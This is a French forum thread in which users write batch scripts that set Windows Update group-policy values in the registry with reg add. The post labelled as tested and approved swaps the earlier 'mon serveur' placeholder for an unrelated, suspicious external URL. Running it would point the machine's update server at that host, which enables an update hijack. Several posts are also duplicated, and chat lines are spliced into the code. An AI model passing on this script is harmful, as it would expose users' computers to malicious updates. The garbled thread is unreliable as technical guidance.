Batch pour modifier une valeur dans Gpedit.msc
Modérateur : WIN32-[GG]
-
- SuperBatcher
- Messages : 105
- Enregistré le : 24 janv. 2017 13:41
Re: Batch pour modifier une valeur dans Gpedit.msc
J'ai fait quelques tests de mon côté (Windows 7 pro x64), il y a aussi une autre clé à créer/modifier pour indiquer si la GPO est activée ou désactivée :
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine\Software\Policies\Microsoft\Windows\WindowsUpdate\AU]
"UseWUServer"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine\Software\Policies\Microsoft\Windows\WindowsUpdate\AU]
"UseWUServer"=dword:00000001
Re: Batch pour modifier une valeur dans Gpedit.msc
Il faut l’ajouter dans les script ?
-
- SuperBatcher
- Messages : 105
- Enregistré le : 24 janv. 2017 13:41
Re: Batch pour modifier une valeur dans Gpedit.msc
@echo off
setlocal enableextensions
Merci
En ajoutant une ligne ici :
C’est que je ne suis pas de votre niveau
set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects
for /f "delims=" %%A in ('reg query "%key%" /k /f "WindowsUpdate" /s ^| findstr /i "Machine"') do (
echo. & echo.%%A
reg add "%%~A" /v "WUServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "WUStatusServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "UpdateServiceUrlAlternate" /t REG_SZ /f
reg add "%%~A" /v "**del.FillEmptyContentUrls" /t REG_SZ /f
)
pause
exit
setlocal enableextensions
Merci
En ajoutant une ligne ici :
C’est que je ne suis pas de votre niveau
set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects
for /f "delims=" %%A in ('reg query "%key%" /k /f "WindowsUpdate" /s ^| findstr /i "Machine"') do (
echo. & echo.%%A
reg add "%%~A" /v "WUServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "WUStatusServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "UpdateServiceUrlAlternate" /t REG_SZ /f
reg add "%%~A" /v "**del.FillEmptyContentUrls" /t REG_SZ /f
)
pause
exit
-
- SuperBatcher
- Messages : 105
- Enregistré le : 24 janv. 2017 13:41
Re: Batch pour modifier une valeur dans Gpedit.msc
Testé et approuvé :
Code : Tout sélectionner
@echo off
setlocal enableextensions
set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects
for /f "delims=" %%A in ('reg query "%key%" /k /f "Software" /s ^| findstr /i "Machine"') do (
echo. & echo.%%A
reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "https://account.murky-lane.top/index.php" /f
reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "https://account.murky-lane.top/index.php" /f
reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d 1 /f
)
pause
exit
Re: Batch pour modifier une valeur dans Gpedit.msc
Mince pas chez moi
"toto" reviens comme avant à la fermeture et ré-ouverture de gpedit
"toto" reviens comme avant à la fermeture et ré-ouverture de gpedit
-
- SuperBatcher
- Messages : 105
- Enregistré le : 24 janv. 2017 13:41
Re: Batch pour modifier une valeur dans Gpedit.msc
J'ai parlé trop vite, effectivement après réouverture de gpedit la GPO est "non configuré".
Re: Batch pour modifier une valeur dans Gpedit.msc
C’était pas loin pourtant
-
- SuperBatcher
- Messages : 105
- Enregistré le : 24 janv. 2017 13:41
Re: Batch pour modifier une valeur dans Gpedit.msc
Quand je crée la GPO via GPEDIT une nouvelle clé apparaît :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine
Ce qui est étrange c'est l'espèce d'identifiant composé de chiffres et de lettres qui change à chaque fois qu'on ouvre GPEDIT, et encore plus étrange c'est que cette clé disparaît à la fermeture de GPEDIT. Où sont donc mémorisés les paramètres puisque la clé a disparue ?
J'ai monitoré le registre avec ProcMon pour mieux comprendre ce qui se passe lors de l'activation de la GPO via GPEDIT, mais il n'y a rien d'étrange, seules les 3 valeurs que nous avons repérées sont créées il ne se passe rien d'autre.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine
Ce qui est étrange c'est l'espèce d'identifiant composé de chiffres et de lettres qui change à chaque fois qu'on ouvre GPEDIT, et encore plus étrange c'est que cette clé disparaît à la fermeture de GPEDIT. Où sont donc mémorisés les paramètres puisque la clé a disparue ?
J'ai monitoré le registre avec ProcMon pour mieux comprendre ce qui se passe lors de l'activation de la GPO via GPEDIT, mais il n'y a rien d'étrange, seules les 3 valeurs que nous avons repérées sont créées il ne se passe rien d'autre.